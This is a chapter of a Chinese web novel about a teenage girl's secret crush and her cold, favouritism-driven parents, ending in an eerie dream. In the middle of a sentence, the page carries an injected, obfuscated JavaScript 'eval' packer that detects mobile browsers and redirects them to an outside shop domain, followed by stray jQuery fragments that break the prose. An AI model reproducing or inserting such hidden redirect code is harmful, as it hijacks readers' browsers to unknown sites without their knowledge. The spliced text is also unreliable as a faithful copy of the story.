7. 不属于她的
作品:《雪落无痕》 月光透过浮云映照在路上。
闻宿雪偷偷攥着衣袖,慌乱之中,随意扯了个问题,“你也是过来做陶瓷的吗?”
“嗯。我陪朋友过来的,她要亲手做个礼物送给最重要的人。”堇修然开口说道。
闻宿雪想起刚刚那个女孩子,垂下眼眸,不再说话。
这时街道两侧的香钱纸烛已经被收起,只留下那看不见的心绪,随着轻风散去。
堇修然身高接近一米九左右,月影银丝悉数降与他。而她自己的影子渐渐与堇修然糅合在一起,没有距离。闻宿雪故意走慢了点,就这样跟在他的身后,看着他的影子一点点被拉长。
闻宿雪舍不得,舍不得摘下心中的那轮月。
月亮还是高高挂在天上比较好,如果妄图去摘那月亮,那她岂不是要变成那只小猴子。
闻宿雪望得出神,没有注意到前面的少年已经停下了脚步。她没能及时刹住脚,就这么直挺挺得撞了上去。
她抬手捂住磕碰到的鼻子,踉跄着往后退了步。
“不好意思。”堇修然看着她蕴含水雾的眼眸,饱含歉意的说道,“都怪我突然停下,磕疼你了吗?”
闻宿雪放下手掌,无奈地摇摇头说道,“我没事,不怪你,是我自己没有看路。”
她自己确实挺毛毛躁躁的,不怪闻怀安平日里这般说。
“那我们就这样两不相欠了。”堇修然是笑着说的这句话,似乎在调侃,带着玩笑的意味在里面。
可是,她听见耳朵里,却飘进了心里。
她今夜好不容易平复下来的心绪,随着这句话,又紧紧揪成了一团,难过得让人差点喘不过气来。
“从前面巷子口过去就是紫藤小筑,你自己一个人过去,没有问题吧。”堇修然看着她今晚频频走失神的模样,不禁有些担心。
“我自己可以的。”闻宿雪说道。
堇修然跟她挥挥手告别,她扬起笑容,刚想和他说一声再见。可话语还没有说出口,堇修然转身便往来时的路走去,徒留下沁人心脾的檀木香,萦绕在心间。
她就这样站在巷子口,似自言自语的说了句“再见。”
或者说,期待下一次的相见。
在明亮的路灯下,闻宿雪可以清晰的看见进堇修然离她越来越远,直到彻底不见。
她点亮手机屏幕,看了眼时间,不过才十点左右,时间应该还来得及。
闻宿雪收回手机,转身便往离家相反的地方跑去。因为急速,风从她的耳边呼啸而过。
闻宿雪赶到手作坊的时候,恰巧是最后一波客人离开。她径直走进去,穿过那条青石路,呼吸略微凌乱的闯进那间瓦舍。
她咽下喉头的那股铁锈味,缓了下急促的呼吸,朝里面的那店员说道,“你好,请问我可以来这里取走已经做好了的瓷杯吗?”
那店员似乎对她有点印象,面对她的再次造访有些疑惑,毕竟没有人那么慌张的要一个陶冶情操的物品。
面对店员疑惑不解的眼神,闻宿雪许是心中怀揣着隐秘的情丝,快速移开了自己的视线,不再看店员。
可是,她就是莫名的执拗。想在自己一年中最独特的那天,留下印记。
“可以的,烘干的陶瓷都摆放在古物架上,上面有标记着个人信息。小姐姐可以对应着留下的名字来寻找。找到了,就拿到我这里包装。”店员,笑着说完,又抬起桌上的书遮挡住自己。
“好的,谢谢。”闻宿雪轻声说道。
她目光快速掠过古物架上面摆放着的形态各异的陶瓷,终于在最后一排找到自己的名字。
闻宿雪心中泛起喜悦,踮起脚尖,小心翼翼地伸手把瓷杯和那张名片捧在手掌心里。
她犹豫了一下,还是把瓷杯轻轻放在店员面前桌上。
那店员笑着放下手中的书,发出惊叹,“咦?找得这么快?”
“嗯。”闻宿雪点点头。
店员从抽屉里面拿出包装盒,有条不紊得打包好,装进礼盒里递给闻宿雪,想起跟她一起出去的少年,朝着闻宿雪挤眉弄眼地笑出了声,“小姐姐是打算送给自己的男朋友吗?”
就这么一句,惹的闻宿雪再度红了脸颊。
她双手接过礼盒,无奈地摇摇头“不是,是送给家里人的。”
店员依旧是意味深长的“哦~”了一声,笑着收起手中的漫画书,目送她的离开。
闻宿雪等走到路灯下,才拿出那种薄薄的纸片,上面是清秀美观的字迹。
那是她的名字,是他为她而写。
这样想着,闻宿雪慢慢捏紧手指尖,脸上的红晕久久不能消散。
她拿出手机屏幕看了眼,上面显示着时间十点半。时间已经有点晚,苏沫他们可能也要到家里了,他们从来都不会在那边留宿,完事了就立马赶回来。
闻宿雪一路小跑着赶回紫藤小筑。
路过保安亭的时候,保安大爷还出声冲她喊了声,“小丫头,你跑慢点,慌什么呢。”
来到庭院大门口,她还来得及把气喘匀,抬头看去见二楼客厅没有亮灯,心里松了口气。放缓脚步,慢慢走到大门口,手指按压在门锁上,“叮咚”一声,大门应声而开。
闻宿雪摸黑走到开关电源处,抬手按下。
却不想客厅宫廷风沙发上坐着两个熟悉的人影。
是闻怀安和苏沫,他们到的比她料想的还要早一点。
闻宿雪握紧了手里的提袋,抬头看了眼闻怀安的难看的脸色。在那个瞬间,她下意识地低下头颅,不再看他们。
周围空气寂静得哪怕是掉跟针都听得见。
“妈,爸。你们回来了。”闻宿雪往客厅中央挪了一步,实在是忍不住这氛围,开口打破了寂静。
苏沫微皱眉头,目光投向她手里的东西,挥手示意她过来点,“怎么站这么远,我们会吃了你吗?”
闻怀安睨了眼闻宿雪身上的穿着,冷哼了声,“谁知道呢。又去干什么亏心事,这个点回来,正常世人早睡觉去了。”
下一秒,他的胳膊就被苏沫使劲掐了把,“给我好好说话。”
随后,不再搭理闻怀安,看向闻宿雪的时候扯起嘴角,语气堪称温和说道,“过来,让我看看,你今天这么晚回来,是出去买什么东西了。”
但表面上越是风平浪静,闻宿雪心底就越是紧张。她这么一慌,后背的冷汗簌簌直冒,刚打算开口解释,闻沉月便“哒哒哒”迅速跑下楼梯,来到闻宿雪面前开心的接过她手里的袋子。
闻沉月拆开礼袋,里面是个瓷杯,随即笑着说道,“谢谢姐姐,没想到你这么快就做好了。”
说完,转头看向苏沫他们,那张伶俐的小嘴开始解释,“妈,这是姐姐答应给我的考试奖励。这家店我朋友去过,距离家还是有点远的。”
闻言,闻宿
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16957800|193208||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
雪似乎看到苏沫眉眼间的那褶皱逐渐舒缓。
闻怀安却不屑的补了句,“要是在学习也像这样多下些功夫,家里也不至于说是费这么多钱,还一点成效都没有。下学期,又不知道要交多少。”
苏沫没有接闻怀安的话茬,只是抬手用食指在闻沉月的额间轻轻一点,语气无奈貌似还带着点宠溺,“你想要东西,怎么不跟爸妈说,反倒这样麻烦呢。”
这话听上去并没有什么问题,可是却堵得闻宿雪喉咙梗塞,像是被什么给卡住一样,一口气上不来也下不去,就这样抑结在心口出。过了会,眼眶也开始逐渐泛红。
闻怀安也抬手摸了下闻沉月的额头,一触即离,语气与刚才截然不同,“多争气些,给咋们长长脸。多拿几张奖状回来,争取把楼上那面墙贴满。”
二楼客厅有一面墙是他们专门留出来给闻沉月贴奖章用的。闻沉月只比她小三岁,从上小学就一直到现在,哪怕是他们中间搬了回家,这个习惯依旧没有改,就像是约定俗成。
闻沉月每次一拿学校发的奖章回来,苏沫都会夸奖一番,闻怀安也会说两句好话。
闻宿雪依稀记得,她之前也这样拿过给他们看,可苏沫只是笑了笑,让她自己收好。闻怀安只看了一眼,便移开视线,留下一句话,“别只拿了个第三名就傲气,看看自己离第一名还差多少。”
闻宿雪不记得当时的心情了,可能笑着笑着就湿了眼。
从那以后,她拿了那张薄纸,也只是随便往房间梳妆台的抽屉里一塞,等待着它被时间给遗忘。
窗外那轮明月映照在他们三人的身上,徒然是一片宁静祥和的模样,只留下她一个站在旁边,看着这份不属于她的天伦之乐。
可能是闻宿雪的眼眸过于深邃,闻怀安瞄了眼,就只摆摆手让她上楼休息,明天早起去学校。
闻宿雪回到自己房间反锁门,拉开衣柜里间上锁的暗屉,拿出里面放着的笔记本,翻到夹着干花的那页,将衣袖里的纸片郑重地夹进去。
闻宿雪把书本合上,再次放回暗格。
这张纸片所承载的情思与那笔记本所记的心事一样,都只能被存放在狭隘的空间里,窥不见天光。
手机“叮咚”一声,她拿起手机查看,原来是顾韫书发了的消息,“生日快乐,恭喜又长大了一岁。”
后面跟着个红包。
闻宿雪笑着收下,去走廊拐角尽头处,洗去一声的疲惫,转身回房间,定下明早的闹铃后一头钻进暖和的被窝里,意识的模糊让她的眼皮沉重到睁不开。
等到她再度睁开眼的时候,天地间到处都是白茫茫的一片,分不清东南西北。
额间突然有点湿润,闻宿雪伸手一抹,又是阵冰凉,抬头一看,居然下起鹅毛大雪。
闻宿雪不禁有些疑惑,这里是南方,三年都难下一场雪。周围温度低的她打了个寒碜,双手抱住手臂不停地搓着。
她一个人茫然地走在这天地间,风雪迷了眼睛,只能看见一眼望不到头的白色。不知道走了多久,眼前突然出现一抹红。
闻宿雪快速朝那里走去,等到凑近了看到,在这冰天雪地里躺着的是个女子,胸口处还插着把匕首,不断渗出血液,染红了身下的白雪。
闻宿雪小心翼翼地抬手掀开那女子被遮挡着的脸庞,看到那张和她一模一样的脸上,带着笑意。
“宿雪。”有人喊了她的名字。

